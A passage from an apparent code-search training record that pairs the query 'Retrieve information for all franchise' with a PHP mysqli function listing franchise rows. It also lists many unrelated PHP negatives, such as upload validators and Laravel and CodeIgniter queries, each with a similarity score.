false;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t \n\t\t\t\tcase UPLOAD_ERR_NO_TMP_DIR:\n\t\t\t\t\t$this->setAlert($lng->txt(\"form_msg_file_missing_tmp_dir\"));\n\t\t\t\t\treturn false;\n\t\t\t\t\tbreak;\n\t\t\t\t\t \n\t\t\t\tcase UPLOAD_ERR_CANT_WRITE:\n\t\t\t\t\t$this->setAlert($lng->txt(\"form_msg_file_cannot_write_to_disk\"));\n\t\t\t\t\treturn false;\n\t\t\t\t\tbreak;\n\t \n\t\t\t\tcase UPLOAD_ERR_EXTENSION:\n\t\t\t\t\t$this->setAlert($lng->txt(\"form_msg_file_upload_stopped_ext\"));\n\t\t\t\t\treturn false;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// check suffixes\n\t\tif ($_FILES[$this->getPostVar()][\"tmp_name\"] != \"\" &&\n\t\t\tis_array($this->getSuffixes()))\n\t\t{\n\t\t\tif (!in_array(strtolower($suffix), $this->getSuffixes()))\n\t\t\t{\n\t\t\t\t$this->setAlert($lng->txt(\"form_msg_file_wrong_file_type\"));\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// virus handling\n\t\tif ($_FILES[$this->getPostVar()][\"tmp_name\"] != \"\")\n\t\t{\n\t\t\t$vir = ilUtil::virusHandling($temp_name, $filename);\n\t\t\tif ($vir[0] == false)\n\t\t\t{\n\t\t\t\t$this->setAlert($lng->txt(\"form_msg_file_virus_found\").\"<br />\".$vir[1]);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t\tif (is_array($_POST[$this->getPostVar()]))\n\t\t{\n\t\t\tif (($this->getRequired() && strlen($_POST[$this->getPostVar()]['width']) == 0) ||\n\t\t\t\t($this->getRequired() && strlen($_POST[$this->getPostVar()]['height']) == 0))\n\t\t\t{\n\t\t\t\t$this->setAlert($lng->txt(\"msg_input_is_required\"));\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tif (is_array($_POST[$this->getPostVar()]['flash_param_name']))\n\t\t\t{\n\t\t\t\tforeach ($_POST[$this->getPostVar()]['flash_param_name'] as $idx => $val)\n\t\t\t\t{\n\t\t\t\t\tif (strlen($val) == 0 || strlen($_POST[$this->getPostVar()]['flash_param_value'][$idx]) == 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->setAlert($lng->txt(\"msg_input_is_required\"));\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn true;\n\t}", "public function edit_fileupload_check()\n { \n \n // we retrieve the number of files that were uploaded\n $number_of_files = sizeof($_FILES['img']['tmp_name']);\n \n // considering that do_upload() accepts single files, we will have to do a small hack so that we can upload multiple files. For this we will have to keep the data of uploaded files in a variable, and redo the $_FILE.\n $files = $_FILES['img'];\n \n // first make sure that there is no error in uploading the files\n for($i=0; $i<$number_of_files; $i++)\n {\n if($_FILES['img']['error'][$i] != 0)\n {\n // save the error message and return false, the validation of uploaded files failed\n $this->form_validation->set_message('fileupload_check', 'Please add at least one Image');\n return FALSE;\n }\n return TRUE;\n }\n }", "function check_file_is_audio( $tmp ) \n{\n $allowed = array(\n 'audio/mpeg', 'audio/x-mpeg', 'audio/mpeg3', 'audio/x-mpeg-3', 'audio/aiff', \n 'audio/mid', 'audio/x-aiff', 'audio/x-mpequrl','audio/midi', 'audio/x-mid', \n 'audio/x-midi','audio/wav','audio/x-wav','audio/xm','audio/x-aac','audio/basic',\n 'audio/flac','audio/mp4','audio/x-matroska','audio/ogg','audio/s3m','audio/x-ms-wax',\n 'audio/xm'\n );\n \n // check REAL MIME type\n $finfo = finfo_open(FILEINFO_MIME_TYPE);\n $type = finfo_file($finfo, $tmp );\n finfo_close($finfo);\n \n // check to see if REAL MIME type is inside $allowed array\n if( in_array($type, $allowed) ) {\n return $type;\n } else {\n return false;\n }\n}" ]
[ "0.7811356", "0.77302927", "0.76549184", "0.76390207", "0.75739413", "0.74881256", "0.7449419", "0.74051887", "0.7403373", "0.7365792", "0.73446053", "0.7327276", "0.7251699", "0.72203535", "0.72021735", "0.71827614", "0.7162856", "0.715467", "0.71430707", "0.71202224", "0.7110401", "0.7076349", "0.7068872", "0.7022974", "0.70162237", "0.7014659", "0.7014607", "0.69829494", "0.6976634", "0.69507474", "0.69437045", "0.69317967", "0.68712485", "0.6844401", "0.68424714", "0.6834579", "0.68330747", "0.68004733", "0.6779846", "0.67791295", "0.67509115", "0.6742066", "0.6682299", "0.66607517", "0.6656489", "0.6654694", "0.66314214", "0.6619676", "0.66132", "0.6612822", "0.66100633", "0.6609559", "0.6588924", "0.6584014", "0.6583022", "0.655004", "0.65479535", "0.65395766", "0.6538317", "0.6538176", "0.653245", "0.65157056", "0.6506305", "0.64825773", "0.6475567", "0.6463002", "0.64582896", "0.64543396", "0.6452766", "0.64492387", "0.64422315", "0.6423687", "0.64156175", "0.64148664", "0.6406908", "0.64005446", "0.63974", "0.6393173", "0.63905704", "0.6389519", "0.6383723", "0.63806385", "0.6375919", "0.6369663", "0.63652873", "0.6364733", "0.6356247", "0.63487244", "0.6340944", "0.6336409", "0.63361496", "0.6332883", "0.63314533", "0.63258386", "0.6325103", "0.6324376", "0.63181424", "0.6318114", "0.631396", "0.63076264" ]
0.66842127
42
Retrieve information for all franchise
function fetchAllFranchise() { global $mysqli, $db_table_prefix; $stmt = $mysqli->prepare("SELECT id, fname, lname, ssefin, city_state_zip, phone, email, date, active, date_modified FROM " . $db_table_prefix . "franchise"); $stmt->execute(); $stmt->bind_result( $id, $fname, $lname, $ssefin, $city_state_zip, $phone, $email, $date, $active, $date_modified); while ($stmt->fetch()) { $row[] = array('id' => $id, 'fname' => $fname, 'lname' => $lname, 'ssefin' => $ssefin, 'city_state_zip' => $city_state_zip, 'phone' => $phone, 'email' => $email, 'date' => $date, 'active' => $active, 'date_modified' => $date_modified); } $stmt->close(); return ($row); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getAllFranchises(){\n $query = \"SELECT * FROM franchises ORDER BY name\";\n $result = $this->connection->query($query);\n $result = $result->fetchAll(PDO::FETCH_ASSOC);\n $franchises = [];\n foreach($result as $data){\n $franchises[] = new Franchise($data);\n }\n return $franchises;\n }", "public function get_franchises($queryargs = array()) {\n $query = \"/franchises/\";\n return $this->get_list_data($query, $queryargs);\n }", "abstract public function infoAll();", "public function select_franchise(){\n\t\t$query = \"SELECT * FROM `franchise`\";\n\t\t$result = mysql_query($query);\n\t\tif($result){\n\t\t\treturn $result;\t\t\t \n\t\t}else{\n\t\t\tdie('can not select'.mysql_error());\n\t\t}\n\t}", "public function getAllFranchisesOrderedById(){\n $query = \"SELECT * FROM franchises ORDER BY id\";\n $result = $this->connection->query($query);\n $result = $result->fetchAll(PDO::FETCH_ASSOC);\n $franchises = [];\n foreach($result as $data){\n $franchises[] = new Franchise($data);\n }\n return $franchises;\n }", "public function getInformation();", "public function index()\n {\n // $franchises = User::find(session('user')->id)->franchises;\n $franchises = Franchise::where([\n ['user_id', '=', session('user')->id],\n ['status', '=', 1]\n ])->get();\n\n return view('franchise.index', ['franchises' => $franchises]);\n }", "public function getFacility();", "function jx_get_franchiselist(){\r\n\t\t$output = array();\r\n\t\t \r\n\t\t$f_list_res = $this->db->query(\"select franchise_id,pnh_franchise_id,franchise_name from pnh_m_franchise_info a order by franchise_name asc \");\r\n\t\tif($f_list_res->num_rows())\r\n\t\t{\r\n\t\t\t$output['f_list'] = $f_list_res->result_array();\r\n\t\t\t$output['status'] = 'success';\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$output['status'] = 'error';\r\n\t\t\t$output['message'] = 'No Franchises found';\r\n\t\t}\r\n\t\techo json_encode($output);\r\n\t}", "public function index()\n {\n\n return $this->facilitie->all();\n\n }", "public function Franchiseprofilelist($franchiseid) {\n\n $this->db->where('account_id', $franchiseid);\n $this->db->where('account_type', 2);\n $profileinfo = $this->db->get('profile')->result();\n return $profileinfo;\n }", "public function GetUserFranchise(Request $request){\n $validation = validator()->make($request->all(), [\n 'user_id' => 'required',\n\n ]);\n if ($validation->fails()) {\n $data = $validation->errors();\n return $this->responseJson(0,$validation->errors()->first(),$data);\n }\n $franchises=Franchise::where('user_id',$request->user_id)->get();\n\n if(count($franchises)<1){\n return $this->responseJson(0,'No franchises for this user','');\n }\n else{\n return $this->responseJson(1,'operation success',$franchises);\n }\n\n }", "FUNCTION getLesInfos()\n\t\t\t{\n\t\t\t\t$code = '1';\n\t\t\t\t$sReq = \"SELECT INF_ID, INF_NOM, INF_TEL, INF_MAIL, INF_RUE, INF_VILLE, INF_COPOS, INF_SITE\n\t\t\t\t\t\t\tFROM info\";\n\t\t\t\t\n\t\t\t\t$info = $_SESSION['bdd']->query($sReq);\n\t\t\t\treturn $info;\n\t\t\t}", "public function get_franchise_shows($franchise_id, $queryargs = array()) {\n return $this->get_child_items_of_type($franchise_id, 'franchise', 'show', $queryargs);\n }", "public function getAll()\n {\n return $this->_info;\n\n }", "function load_Info()\n {\n\n $this->Facility_Info($this->facilities[0]);\n }", "public function getInfo();", "public static function getAll() {}", "public static function getAll();", "public static function getAll();", "function obtener_facultades (){\n \n //$nombre_usuario=toba::usuario()->get_nombre();\n //$sql=\"SELECT t_s.sigla FROM sede t_s, administrador t_a WHERE t_a.nombre_usuario=$nombre_usuario AND t_s.id_sede=t_a.id_sede\";\n //$sql=\"SELECT t_ua.sigla, t_ua.descripcion FROM unidad_academica t_ua, sede t_s JOIN administrador t_a ON (t_a.nombre_usuario=$nombre_usuario) JOIN (t_a.id_sede=t_s.id_sede) WHERE t_s.sigla=t_ua.id_sede\";\n $sql=\"SELECT sigla, descripcion FROM unidad_academica WHERE sigla <> 'RECT'\";\n return toba::db('gestion_aulas')->consultar($sql);\n \n }", "public function getLesFraisForfait(){\r\n\t\t$req = \"select af_fraisforfait.id as idfrais, libelle, montant from af_fraisforfait order by af_fraisforfait.id\";\r\n\t\t$rs = $this->db->query($req);\r\n\t\t$lesLignes = $rs->result_array();\r\n\t\treturn $lesLignes;\r\n\t}", "public function allRest(){\n\t\t$restaurantes = DB::SELECT('SELECT * FROM pf.res_restaurants where restaurant_id = parent_restaurant_id and activate = 1');\n\t\t$landing = LandingPage::select('header','logo','landing_page_id')->get();\n\n\t\treturn View::make('web.restaurantes')\n\t\t\t->with('restaurantes', $restaurantes)\n\t\t\t->with('landing', $landing);\n\t}", "public function index()\n {\n return Filmes::all();\n }", "public function getAll()\n {\n //SELECT * FROM festival;\n \n //foeach TUDOQUEVIER e COLOCAR NUM ARRAY\n \n //return ARRAY;\n }", "public function get_filiales() {\n $this->db->select('*');\n $this->db->from('filial');\n $this->db->join('comuna', 'filial.comuna_id = comuna.comuna_id', 'left');\n $query = $this->db->get();\n //$query = $this->db->get('filial');\n return $query->result_array();\n }", "public function getFranchiseById($franchise_id){\n $pdo = $this->connection->prepare(\"SELECT name FROM franchises WHERE id=:franchise_id\");\n $pdo->execute(array(\n 'franchise_id' => $franchise_id\n ));\n $franchise = $pdo->fetch(PDO::FETCH_ASSOC);\n \n return new Franchise($franchise);\n }", "public function getInformation(): array;", "public function getAll(){\n $lijst = array();\n \n $dbh = new PDO(DBConfig::$DB_CONNSTRING, DBConfig::$DB_USERNAME, DBConfig::$DB_PASSWORD);\n $sql = \"SELECT frisdrankId, naam, prijs, aantal FROM mvc_frisdrank\";\n $resultSet = $dbh->query($sql);\n foreach ($resultSet as $rij) {\n $frisdrank = Frisdrank::create($rij[\"frisdrankId\"], $rij[\"naam\"], $rij[\"prijs\"], $rij[\"aantal\"]);\n array_push($lijst, $frisdrank);\n }\n $dbh = null;\n return $lijst;\n }", "public function get_all ();", "public function getsvinfoAction()\n {\n $uid = $this->uid;\n $fid = $this->_request->getParam('fid', null);\n\n $result1 = Hapyfish2_Island_Bll_SuperVisitor::getSuperVisitor($uid, $fid);\n\n // update by hdf add compound visitor\n $result2 = Hapyfish2_Island_Bll_CompoundSuperVisitor::getSuperVisitor($uid, $fid);\n $result['spVisitors'] = array_merge($result1['spVisitors'], $result2['spVisitors']); \n\n $this->echoResult($result);\n }", "public function getAll() {}", "public function getAll() {}", "public function getAll() {}", "public function getAll() {}", "public function getAll() {}", "public function get_all_registered()\n {\n }", "public function get_all_registered()\n {\n }", "public function index()\n {\n return view('all_festivals', [\n 'festivals' => Festival::where('is_active', true)->orderBy('id', 'desc')->paginate(5),\n ]);\n }", "public abstract function getAll();", "public function getAllClientsInfo() {\n //Nom de famille :\n //Prénom :\n //Date de naissance :\n //Carte de fidélité :\n //Si oui, N° de carte:\n $queryResult = $this->database->query('SELECT lastName, firstName, birthDate, card, cardNumber, \n CASE card\n\tWHEN 1 THEN \"Oui\"\n\tWHEN 0 THEN \"Non\"\n END AS \"etat\"\n FROM clients'); \n $allClientsInfoData = $queryResult->fetchAll(PDO::FETCH_OBJ);\n return $allClientsInfoData;\n }", "public function getAllCountrie()\n\t{\n\t\t$countrie = Countrie::all() ;\t\n\t\t$data = array() ;\n\t\tforeach($countrie as $value){\n\t\t\t$countryData = array(\n\t\t\t'id' => $value->id ,\n\t\t\t'name_ar' => $value->name_ar ,\n\t\t\t'name_en' => $value->name_en \n\t\t\t) ;\n\t\t\tarray_push($data , $countryData) ;\n\t\t}\n\t\t return response()->json([\n 'status' => 1,\n 'data' => $data, \t\t\t\t\n ]); \n\t}", "public function getFilial(){\n $query = $this->connect->prepare(\"SELECT B.FILIAL FILIALORIGEM, \n C.FILIAL FILIALDESTINO\n FROM OP_VIAGEM A\n LEFT JOIN OP_VIAGEMPERCURSOFILIAL B ON B.VIAGEM = A.HANDLE AND B.EHINICIOVIAGEM = 'S'\n LEFT JOIN OP_VIAGEMPERCURSOFILIAL C ON C.VIAGEM = A.HANDLE AND C.EHTERMINOVIAGEM = 'S'\n WHERE A.HANDLE = '$this->handle' \");\n $query->execute();\n $dataSet = $query->fetch(PDO::FETCH_ASSOC);\n\n $this->filialDestino = $dataSet['FILIALDESTINO'];\n $this->filialOrigem = $dataSet['FILIALORIGEM'];\n }", "public function showall()\n {\n }", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getAll();", "public function getLesIdFrais(){\r\n\t\t$req = \"select fraisforfait.id as idfrais from fraisforfait order by fraisforfait.id\";\r\n\t\t$res = PdoGsb::$monPdo->query($req);\r\n\t\t$lesLignes = $res->fetchAll();\r\n\t\treturn $lesLignes;\r\n\t}", "public function get_franchise_images($franchise_id) {\n return $this->get_images($franchise_id, 'franchise');\n }", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function getCountriesInfo();", "function getAll();", "function getAll();", "public function getFacultets()\n {\n return $this->hasMany(SpravFacultet::className(), ['institut_id' => 'id']);\n }", "protected function getAll() {}", "public function getInfo() {}", "public function getInfo() {}", "abstract public function getAll();", "abstract public function getAll();", "abstract public function getAll();", "function getAll()\r\n {\r\n\r\n }", "public function getFamille(){\n\t\t$req = \"select * from famille\";\n\t\t$rs = PdoGsb::$monPdo->query($req);\n\t\t$ligne = $rs->fetchAll();\n\t\treturn $ligne;\n\t}", "public static function getAll() {\r\r $cafeterias = Cafeteria::getAll();\r\r\r\r $salida = [\r 'status' => 1,\r 'data' => $cafeterias\r ];\r\r\r\r View::render($cafeterias);\r }", "public function find(){\n\t\t$famid = \\Input::get('famid');\n\t\tforeach (Family::getto(\"Show\")->get(['id']) as $key => $value) {\n \t \t\t$famarray[$key] = $value->id ;\n \t \t}\n \t \tif(! in_array($famid, $famarray )){\n \t \t\treturn redirect('/') ;\n \t \t}\n\n\t \t$members = Person::where('family_id','=',$famid)->get(['id','name','nickname']);\n\t \t\n\t\t//echo $members[0]->id ;\n\t\tforeach ($members as $key => $value) {\n\t\t\t$members[$key]->name = $this->getfullname($value->id, $value->name, $value->nickname) ;\n\t\t}\n\t \treturn \\Response::make($members);\n\t}", "public function getSpecifics() {}", "function GetAllFireplaces()\r\n {\r\n return $this->fireplaceDAL->GetAllFireplaces();\r\n }", "function jx_franchaise_det()\r\n\t{\r\n\t\t$output = array();\r\n\t\t$fid = $this->input->post('fid'); \r\n\t\t$f_last_credit_info_res = $this->db->query(\"select b.franchise_id,b.pnh_franchise_id,\r\n\t\t\t\t\t\t\t\t\t\t\tb.franchise_name,b.login_mobile1,b.login_mobile2,d.territory_name,e.town_name,\r\n\t\t\t\t\t\t\t\t\t\t\tifnull(a.credit_added,0) as credit_added,\r\n\t\t\t\t\t\t\t\t\t\t\tifnull(b.current_balance,0) as current_balance,\r\n\t\t\t\t\t\t\t\t\t\t\tround((b.current_balance+b.credit_limit),2) as available_limit,\r\n\t\t\t\t\t\t\t\t\t\t\tifnull(a.credit_given_by,0) as credit_given_by,\r\n\t\t\t\t\t\t\t\t\t\t\tifnull(a.new_credit_limit,0) as new_credit_limit,\r\n\t\t\t\t\t\t\t\t\t\t\tifnull(c.name,'') as credit_given_by_name,\r\n\t\t\t\t\t\t\t\t\t\t\ta.reason,\r\n\t\t\t\t\t\t\t\t\t\t\ta.created_on \r\n\t\t\t\t\t\t\t\tfrom pnh_m_franchise_info b \r\n\t\t\t\t\t\t\t\tleft join pnh_t_credit_info a on a.franchise_id = b.franchise_id\r\n\t\t\t\t\t\t\t\tleft join king_admin c on a.credit_given_by = c.id \r\n\t\t\t\t\t\t\t\tjoin pnh_m_territory_info d on d.id=b.territory_id\r\n\t\t\t\t\t\t\t\tjoin pnh_towns e on e.id=b.town_id\r\n\t\t\t\t\t\t\t\twhere b.pnh_franchise_id = ? order by a.id desc limit 1\",$fid);\r\n\t\tif($f_last_credit_info_res->num_rows())\r\n\t\t{\r\n\t\t\t$output['f_det'] = $f_last_credit_info_res->row_array();\r\n\t\t\t$fr_credit_det = $this->erpm->get_fran_availcreditlimit($output['f_det']['franchise_id']);\r\n\t\t\t$output['f_det']['available_limit'] = $fr_credit_det[3];\r\n\t\t\t$output['f_det']['created_on'] = format_datetime_ts($output['f_det']['created_on']);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$output['status'] = 'error';\r\n\t\t\t$output['message'] = 'Invalid OR Franchise not found';\r\n\t\t}\r\n\t\techo json_encode($output);\r\n\t\t\r\n\t}", "public function get_franchise($id, $queryargs = array()) {\n return $this->get_item_of_type($id, 'franchise', $queryargs);\n }", "public function index()\n {\n // $compania = Compania::on('ibg_100_7')->get();\n $compania = Compania::on('ibg_100_7')->where('numnit', '890001600')->get();\n $fact = FactRepository::getFacturas();\n\n\n\n // $sucurs = Sucursal::select('nombre', 'personal.nombres')\n // ->join('personal', 'personal.codsucur', '=', 'codigo')\n // ->where('personal.estado','=','A') \n // ->get();\n\n // $sucurs = DB::connection('informix')->table('sucursales')->all();\n\n\n foreach ($fact as $factura) {\n dd($factura->compania->numnit);\n // dd($factura->fact_detalle);\n // echo \"\\n$sucursal->nombres\\n\";\n // die();\n }\n foreach ($compania as $compa) {\n dd($compa);\n // echo \"\\n$sucursal->nombres\\n\";\n // die();\n }\n }", "public function index()\n {\n $habitacions = Habitacion::All();\n return $habitacions;\n }", "function cata_getfamilys_adm() {\n\tglobal $db;\n\t//global $familyId;\n\n\t$familys = array();\n\n\t$select = \"\n\t\tSELECT\tf.*, COUNT(id_article) AS nbart\n\t\tFROM\tdims_mod_cata_famille f\n\n\t\tLEFT JOIN\tdims_mod_cata_article_famille af\n\t\tON\t\t\taf.id_famille = f.id\n\n\t\tWHERE f.id_module = {$_SESSION['dims']['moduleid']}\n\n\t\tGROUP BY f.id\n\t\tORDER BY f.id_parent, f.position\";\n\t$result = $db->query($select);\n\twhile ($fields = $db->fetchrow($result)) {\n\t\t$familys['list'][$fields['id']] = $fields;\n\t\t$familys['tree'][$fields['id_parent']][] = $fields['id'];\n\t}\n\n\t//// look for groupid\n\t//if (!isset($familyId)) {\n\t// if (!isset($_SESSION['catalogue']['familyId'])) $_SESSION['catalogue']['familyId'] = $familys['tree'][1][0];\n\t// $familyId = $_SESSION['catalogue']['familyId'];\n\t//}\n\treturn($familys);\n}", "function getFoodpornById($fid)\n {\n $stmt = self::$_db->prepare(\"SELECT * FROM foodporn WHERE id_foodporn=:fid\");\n $stmt->bindParam(\":fid\", $fid);\n $stmt->execute();\n return $stmt->fetchAll();\n \n \n // Gets all History Foodporns\n function getFoodpornsByHostory()\n {\n $stmt = self::$_db->prepare(\"SELECT * FROM foodporn WHERE fs_user=:uid\");\n $uid = self::getUserID();\n $stmt->bindParam(\":uid\", $uid);\n $stmt->execute();\n return $stmt->fetchAll(PDO::FETCH_ASSOC);\n } \n }", "public function index()\n {\n $fronthfs = Frontend::all();\n return response()->json(['fronthfsList'=>$fronthfs],200);\n }", "public function getDetail();", "public function show_feature(){\n\t\t\n\t\t//Connection establishment, processing of data and response from REST API\n\t\t$path=base_url();\n\t\t$url = $path.'api/settings_api/all_feature';\t\t\n\t\t$ch = curl_init($url);\n\t\tcurl_setopt($ch, CURLOPT_HTTPGET, true);\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t\t$response_json = curl_exec($ch);\n\t\tcurl_close($ch);\n\t\t$response=json_decode($response_json, true);\n\t\treturn $response;\t\t\n\t\t\n\t}", "public function afficherAll()\n {\n }", "public function getInfo(): array;", "public function readAllInfo()\n {\n //recupération des données en post\n $data = $this->request->data;\n try\n {\n //selection d'une UE en foction de l'identifiant\n if (!empty($data['id_matiere'])) {\n $results = $this->model->read_all_info_id((int)$data['id_matiere']);\n\n if (empty($results)) {\n $this->_return('la matière demandée n\\'existe pas dans la base de donnée', false);\n }\n $this->_return('Informations sur la matière '.$results->nom_matiere.' ', true, $results);\n }\n //selection de toutes les UE d'enseignement\n $results = $this->model->read_all_info_matiere();\n if (empty($results)) {\n $this->_return('Vous n\\'avez pas encore de matière en base de données', false);\n }\n $this->_return('liste des matières disponibles dans la base de données', true, $results);\n }\n catch(Exception $e)\n {\n $this->_exception($e);\n }\n }", "public function getDetailFasilitas()\n {\n return $this->hasMany(DetailFasilitas::className(), ['kode_fasilitas' => 'kode_fasilitas']);\n }", "public function index()\n {\n $facilities=Facility::all();\t\t\n\t\t$data=Category::all(); \n \n\t\t\n\t\t$cat=[];\n foreach ($data as $key => $value) {\n $cat[$value->id]=$value->name;\n }\n\t\t\n\n // return $facility;\n return view('pages.admin.facility.facilitylist',compact('facilities','cat'));\n //\n }", "function jx_getfranchiseslist($type=0,$alpha=0,$terr_id=0,$town_id=0,$pg=0)\r\n\t\t{\r\n\t\t\t$this->erpm->auth();\r\n\t\t\t$user=$this->erpm->getadminuser();\r\n\t\t\t\r\n\t\t\tif(!$type)\r\n\t\t\t{\r\n\t\t\t\t$type = $this->input->post('type');\r\n\t\t\t\t$alpha = $this->input->post('alpha');\r\n\t\t\t\t$terr_id = $this->input->post('terr_id');\r\n\t\t\t\t$town_id = $this->input->post('town_id');\r\n\t\t\t\t$pg = $this->input->post('pg');\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$alpha = ($alpha!='')?$alpha:0;\r\n\t\t\t$terr_id = $terr_id*1;\r\n\t\t\t$town_id = $town_id*1;\r\n\t\t\t\r\n\t\t\t$cond = $fil_cond = '';\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t$sql=\"select f.created_on,f.is_suspended,group_concat(a.name) as owners,tw.town_name as town,f.is_lc_store,f.franchise_id,c.class_name,c.margin,c.combo_margin,f.pnh_franchise_id,f.franchise_name,\r\n\t\t\t\t\t\t\tf.locality,f.city,f.current_balance,f.login_mobile1,f.login_mobile2,\r\n\t\t\t\t\t\t\tf.email_id,u.name as assigned_to,t.territory_name \r\n\t\t\t\t\t\tfrom pnh_m_franchise_info f \r\n\t\t\t\t\t\tleft outer join king_admin u on u.id=f.assigned_to \r\n\t\t\t\t\t\tjoin pnh_m_territory_info t on t.id=f.territory_id \r\n\t\t\t\t\t\tjoin pnh_towns tw on tw.id=f.town_id \r\n\t\t\t\t\t\tjoin pnh_m_class_info c on c.id=f.class_id \t\r\n\t\t\t\t\t\tleft outer join pnh_franchise_owners ow on ow.franchise_id=f.franchise_id \r\n\t\t\t\t\t\tleft outer join king_admin a on a.id=ow.admin\r\n\t\t\t\t\t\twhere 1 \r\n\t\t\t\t\t\";\r\n\t\t\t\t\t\r\n\t\t\tif($type == 2)\r\n\t\t\t{\r\n\t\t\t\t$cond .= \" and date(from_unixtime(f.created_on)) between ADDDATE(LAST_DAY(SUBDATE(curdate(), INTERVAL 1 MONTH)), 1) and LAST_DAY(SUBDATE(curdate(), INTERVAL 0 MONTH)) \";\r\n\t\t\t\t$sql .= $fil_cond = $cond; \r\n\t\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\tif($alpha)\r\n\t\t\t\t{\r\n\t\t\t\t\t$cond .= \" and franchise_name like '$alpha%' \";\r\n\t\t\t\t\t$sql .= $fil_cond = $cond; \r\n\t\t\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\tif($type == 4)\r\n\t\t\t\t{\r\n\t\t\t\t\t$cond .= \" and f.is_suspended = 1 \";\r\n\t\t\t\t\t$sql .= $fil_cond = $cond;\r\n\t\t\t\t}\r\n\t\t\t\telse if($type == 1)\r\n\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t}else if($type != 5)\r\n\t\t\t\t{\r\n\t\t\t\t\t$cond .= \" and f.is_suspended = 0 \";\r\n\t\t\t\t\t$sql .= $fil_cond = $cond;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\tif($terr_id)\r\n\t\t\t\t\t$sql .= ' and f.territory_id = '.$terr_id;\r\n\t\t\t\t\t\r\n\t\t\t\tif($town_id)\r\n\t\t\t\t\t$sql .= ' and f.town_id = '.$town_id;\t\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t$sql .= \" group by f.franchise_id \"; \r\n\t\t\t\tif($type == 1)\r\n\t\t\t\t\t$sql .= \" order by f.created_on desc limit 20 \";\t\r\n\t\t\t\telse\r\n\t\t\t\t\t$sql .= \" order by f.franchise_name asc limit $pg,50\";\t\r\n\t\t\t\t \r\n\t\t\t\t$data['frans']= $this->db->query($sql)->result_array();\r\n\t\t\t\t\r\n\t\t\t\tif($type == 1)\r\n\t\t\t\t{\r\n\t\t\t\t\t$data['total_frans'] = count($data['frans']);\r\n\t\t\t\t}else\r\n\t\t\t\t{\r\n\t\t\t\t\t$data['terr_list'] = $this->db->query(\"select distinct f.territory_id,territory_name from pnh_m_franchise_info f join pnh_m_territory_info b on f.territory_id = b.id where 1 $fil_cond order by territory_name \")->result_array();\r\n\t\t\t\t\t\r\n\t\t\t\t\tif($terr_id)\r\n\t\t\t\t\t\t$fil_cond .= ' and f.territory_id = '.$terr_id;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tif($terr_id)\r\n\t\t\t\t\t\t$data['town_list'] = $this->db->query(\"select distinct f.town_id,town_name from pnh_m_franchise_info f join pnh_towns b on f.town_id = b.id where 1 $fil_cond order by town_name \")->result_array();\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t$data['town_list'] = array();\r\n\t\t\t\t\t\r\n\t\t\t\t\t$data['total_frans'] = $this->db->query(\"select distinct f.franchise_id from pnh_m_franchise_info f where 1 $fil_cond group by f.franchise_id \")->num_rows();\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$data['pagination'] = '' ;\r\n\t\t\t\tif($type != 1)\r\n\t\t\t\t{\r\n\t\t\t\t\t$this->load->library('pagination');\r\n\t\t\t\t\r\n\t\t\t\t\t$config['base_url'] = site_url(\"admin/jx_getfranchiseslist/$type/$alpha/$terr_id/$town_id\");\r\n\t\t\t\t\t$config['total_rows'] = $data['total_frans'];\r\n\t\t\t\t\t$config['per_page'] = 50;\r\n\t\t\t\t\t$config['uri_segment'] = 7; \r\n\t\t\t\t\t$config['num_links'] = 10;\r\n\t\t\t\t\t\r\n\t\t\t\t\t$this->config->set_item('enable_query_strings',false);\r\n\t\t\t\t\t$this->pagination->initialize($config); \r\n\t\t\t\t\t\r\n\t\t\t\t\t$data['pagination'] = $this->pagination->create_links();\r\n\t\t\t\t\t$this->config->set_item('enable_query_strings',true);\r\n\t\t\t\t}\r\n\t\t\t\t$data['sel_terr_id'] = $terr_id;\r\n\t\t\t\t$data['sel_town_id'] = $town_id; \r\n\t\t\t\t$data['type'] = $type;\r\n\t\t\t\t$data['alpha'] = $alpha;\r\n\t\t\t\t$data['pg'] = $pg;\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t$this->load->view(\"admin/body/jx_show_franchises\",$data);\r\n\t\t\t}" ]
